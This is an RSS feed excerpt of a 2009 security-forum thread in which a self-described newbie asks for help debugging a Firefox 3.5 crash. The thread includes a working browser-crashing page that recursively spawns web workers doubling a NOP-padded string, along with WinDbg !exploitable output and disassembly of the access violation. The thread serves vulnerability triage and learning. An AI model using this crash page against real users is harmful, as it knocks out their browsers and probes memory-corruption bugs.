First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.<br />
eax=6701d0b0 ebx=00b60220 ecx=0d85f730 edx=66b5e9d8 esi=00000004 edi=05985370<br />
eip=66a078e6 esp=0058ecb0 ebp=0d85f2d0 iopl=0         nv up ei pl nz na po nc<br />
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202<br />
xul!XPCNativeSet::Mark:<br />
66a078e6 0fb74602        movzx   eax,word ptr [esi+2]     ds:002b:00000006=????<br />
0:000&gt; !exploitable -v<br />
HostMachine\HostUser<br />
Executing Processor Architecture is x86<br />
Debuggee is in User Mode<br />
Debuggee is a live user mode debugging session on the local machine<br />
Event Type: Exception<br />
Exception Faulting Address: 0x6<br />
First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)<br />
Exception Sub-Type: Read Access Violation<br />
<br />
Faulting Instruction:66a078e6 movzx eax,word ptr [esi+2]<br />
<br />
Basic Block:<br />
    66a078e6 movzx eax,word ptr [esi+2]<br />
       Tainted Input Operands: esi<br />
    66a078ea test ax,ax<br />
       Tainted Input Operands: ax<br />
    66a078ed js xul!xpcnativeset::mark+0x27 (66a0790d)<br />
       Tainted Input Operands: SignFlag<br />
<br />
Exception Hash (Major/Minor): 0x0f5b6300.0x044e685e<br />
<br />
Stack Trace:<br />
xul!XPCNativeSet::Mark+0x0<br />
xul!XPCJSRuntime::GCCallback+0x2af80f<br />
js3250!JS_HashTableEnumerateEntries+0x51<br />
xul!DOMGCCallback+0x18<br />
xul!jsds_GCCallbackProc+0x37<br />
js3250!js_GC+0x3a0<br />
xul!XPC_WN_InnerObject+0x61<br />
nspr4!PR_Lock+0x17<br />
xul!xpc_CloneJSFunction+0x1d<br />
xul!XPCNativeMember::NewFunctionObject+0x58<br />
xul!XPCWrapper::GetOrSetNativeProperty+0x13e<br />
xul!XPC_NW_GetOrSetProperty+0xc1<br />
xul!XPC_NW_GetProperty+0x17<br />
js3250!js_Interpret+0x2429<br />
js3250!JS_DHashTableOperate+0x2f3<br />
js3250!js_Invoke+0x528b9<br />
js3250!js_Invoke+0x447<br />
xul!nsXPCWrappedJSClass::CallMethod+0x601<br />
xul!nsXPCWrappedJS::CallMethod+0x38<br />
xul!PrepareAndDispatch+0xe7<br />
xul!SharedStub+0x16<br />
xul!nsBrowserStatusFilter::OnStateChange+0xee<br />
xul!nsDocLoader::FireOnStateChange+0x103<br />
xul!nsDocLoader::OnStopRequest+0xca<br />
xul!nsLoadGroup::RemoveRequest+0xb8<br />
xul!nsBaseChannel::OnStopRequest+0x92<br />
xul!nsInputStreamPump::OnStateStop+0x4a<br />
xul!nsInputStreamPump::OnInputStreamReady+0xa2<br />
xul!nsInputStreamReadyEvent::Run+0x1f<br />
xul!nsThread::ProcessNextEvent+0x253<br />
xul!nsBaseAppShell::Run+0x4a<br />
xul!nsAppStartup::Run+0x1e<br />
xul!XRE_main+0xe2c<br />
Unknown<br />
Instruction Address: 0x0000000066a078e6<br />
<br />
Description: Data from Faulting Address controls Branch Selection<br />
Short Description: TaintedDataControlsBranchSelection<br />
Exploitability Classification: UNKNOWN<br />
Recommended Bug Title: Data from Faulting Address controls Branch Selection starting at xul!XPCNativeSet::Mark+0x0000000000000000 (Hash=0x0f5b6300.0x044e685e)<br />
<br />
The data from the faulting address is later used to determine whether or not a branch is taken.<br />
0:000&gt; t<br />
(e08.1390): Access violation - code c0000005 (!!! second chance !!!)<br />
eax=6701d0b0 ebx=00b60220 ecx=0d85f730 edx=66b5e9d8 esi=00000004 edi=05985370<br />
eip=66a078e6 esp=0058ecb0 ebp=0d85f2d0 iopl=0         nv up ei pl nz na po nc<br />
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202<br />
xul!XPCNativeSet::Mark:<br />
66a078e6 0fb74602        movzx   eax,word ptr [esi+2]     ds:002b:00000006=????<br />
0:000&gt; t<br />
(e08.1390): Access violation - code c0000005 (first chance)<br />
First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.<br />
eax=6701d0b0 ebx=00b60220 ecx=0d85f730 edx=66b5e9d8 esi=00000004 edi=05985370<br />
eip=66a078e6 esp=0058ecb0 ebp=0d85f2d0 iopl=0         nv up ei pl nz na po nc<br />
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202<br />
xul!XPCNativeSet::Mark:<br />
66a078e6 0fb74602        movzx   eax,word ptr [esi+2]     ds:002b:00000006=????<br />
<br />
<br />
------------------------------------------------------------<br />
<br />
How nice...<br />
<br />
Exploitability Classification: UNKNOWN<br />
<br />
That was of little use to me.  If anyone has some input please let me know.<br />
<br />
Thanks,<br />
Malloc(i)]]></description>
            <dc:creator>malloci</dc:creator>
            <category>DoS</category>
            <pubDate>Fri, 28 Aug 2009 11:21:11 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,30128,30139#msg-30139</guid>
            <title>Re: Firefox 3.5 JS Web Worker DoS - Debug Help</title>
            <link>http://sla.ckers.org/forum/read.php?14,30128,30139#msg-30139</link>
            <description><![CDATA[Exploitable or not exploitable that's the question (hopefully !!exploitable):-<br />
http://sla.ckers.org/forum/read.php?14,29563,29636#msg-29573]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>DoS</category>
            <pubDate>Fri, 28 Aug 2009 04:19:22 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?14,30128,30128#msg-30128</guid>
            <title>Firefox 3.5 JS Web Worker DoS - Debug Help</title>
            <link>http://sla.ckers.org/forum/read.php?14,30128,30128#msg-30128</link>
            <description><![CDATA[Hello Sla.ckers,<br />
<br />
This is my first post so please take it easy on me, I'm still learning.  I have a question regarding debugging firefox.  I have loaded the symbols from the symbol server and have some debug output; however, I am not sure what I am looking at.  I am curious if this code might lead to a possible exploit?  I have read a little on the recent heap spray and buffer overflow exploits on firefox and was thinking this might be along those lines.  Once again I am a newbie, so if you could point me in the right direction to research I would appreciate it.  My code:<br />
<br />
index.html<br />
-------------------------------------------<br />
&lt;!DOCTYPE HTML&gt;<br />
&lt;html&gt;<br />
&lt;head&gt;<br />
    &lt;title&gt;DOS&lt;/title&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;p&gt;&lt;h1&gt;Please Wait, while I CRASH your Browser; it should not take long :)...&lt;/h1&gt;:&lt;/p&gt;&lt;div id=&quot;result&quot;&gt;&lt;/div&gt;<br />
<br />
    &lt;script type=&quot;text/javascript&quot;&gt;<br />
	<br />
	var worker = new Worker(&quot;workCRASH.js&quot;);<br />
	// Watch for messages from the worker<br />
	worker.onmessage = function(event)<br />
	{<br />
	  // The message from the client:<br />
		document.getElementById(&quot;result&quot;).textContent = event.data;<br />
	};<br />
	var buf = unescape(&quot;AAAAAAAAAAAAAAAAAA%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090&quot;); <br />
	worker.postMessage(buf);<br />
<br />
    &lt;/script&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;<br />
<br />
<br />
workCRASH.js<br />
-------------------------------------------------<br />
onmessage = function(event){<br />
<br />
var worker = new Worker(&quot;workCRASH.js&quot;);<br />
	worker.onmessage = function(event)<br />
	{	<br />
			worker.postMessage(event.data.concat(event.data));<br />
		postMessage(event.data.concat(event.data));<br />
	};<br />
	worker.postMessage(event.data.concat(event.data));<br />
		postMessage(event.data.concat(event.data));<br />
<br />
}<br />
<br />
WinDbg Debug<br />
-------------------------------------------<br />
(1380.1234): Break instruction exception - code 80000003 (first chance)<br />
ntdll!DbgBreakPoint:<br />
00000000`77874ea0 cc              int     3<br />
0:018&gt; g<br />
(1380.1574): Access violation - code c0000005 (first chance)<br />
First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.<br />
xul!XPCNativeSet::Mark:<br />
00000000`70f978e6 0fb74602        movzx   eax,word ptr [esi+2] ds:002b:00000000`00000006=????<br />
<br />
------------ Disassembly -------------------------------<br />
xul!XPCNativeSet::Mark:<br />
  572 xpcinlines.h         00000000`70f978e6 0fb74602        movzx   eax,word ptr [esi+2] ds:002b:00000000`00000006=????<br />
  573 xpcinlines.h         00000000`70f978ea 6685c0          test    ax,ax<br />
<br />
<br />
----------  VS Debug --------------<br />
<br />
--- e:\builds\moz2_slave\win32_build\build\obj-firefox\dist\include\xpcom\nscomptr.h <br />
64C578C2 56               push        esi  <br />
64C578C3 8B F1            mov         esi,ecx <br />
64C578C5 8B 06            mov         eax,dword ptr [esi] <br />
64C578C7 83 26 00         and         dword ptr [esi],0 <br />
64C578CA 85 C0            test        eax,eax <br />
64C578CC 74 06            je          nsCOMPtr&lt;nsIXPConnectJSObjectHolder&gt;::StartAssignment+12h (64C578D4h) <br />
64C578CE 8B 08            mov         ecx,dword ptr [eax] <br />
64C578D0 50               push        eax  <br />
64C578D1 FF 51 08         call        dword ptr [ecx+8] <br />
64C578D4 8B C6            mov         eax,esi <br />
64C578D6 5E               pop         esi  <br />
64C578D7 C3               ret              <br />
64C578D8 56               push        esi  <br />
64C578D9 6A 00            push        0    <br />
64C578DB 8B F1            mov         esi,ecx <br />
64C578DD E8 DE C6 E5 FF   call        nsCOMPtr_base::nsCOMPtr_base (64AB3FC0h) <br />
64C578E2 8B C6            mov         eax,esi <br />
64C578E4 5E               pop         esi  <br />
64C578E5 C3               ret              <br />
--- e:\builds\moz2_slave\win32_build\build\js\src\xpconnect\src\xpcinlines.h ---<br />
64C578E6 0F B7 46 02      movzx       eax,word ptr [esi+2] <br />
64C578EA 66 85 C0         test        ax,ax <br />
64C578ED 78 1E            js          XPCNativeSet::Mark+27h (64C5790Dh) <br />
64C578EF 8D 56 04         lea         edx,[esi+4] <br />
64C578F2 0F B7 C8         movzx       ecx,ax <br />
64C578F5 EB 0C            jmp         XPCNativeSet::Mark+1Dh (64C57903h) <br />
64C578F7 8B 02            mov         eax,dword ptr [edx] <br />
64C578F9 66 81 48 08 00 80 or          word ptr [eax+8],8000h <br />
<br />
The thread 'Win32 Thread' (0x17b4) has exited with code 0 (0x0).<br />
Unhandled exception at 0x64c578e6 (xul.dll) in firefox.exe: 0xC0000005: Access violation reading location 0x00000006.<br />
First-chance exception at 0x64c578e6 (xul.dll) in firefox.exe: 0xC0000005: Access violation reading location 0x00000006.<br />
<br />
Sorry for the long post... Just trying to learn here.<br />
<br />
Thanks for the help and input.<br />
<br />
Malloc(i)]]></description>
            <dc:creator>malloci</dc:creator>
            <category>DoS</category>
            <pubDate>Thu, 27 Aug 2009 16:34:21 -0500</pubDate>
        </item>
    </channel>
</rss>
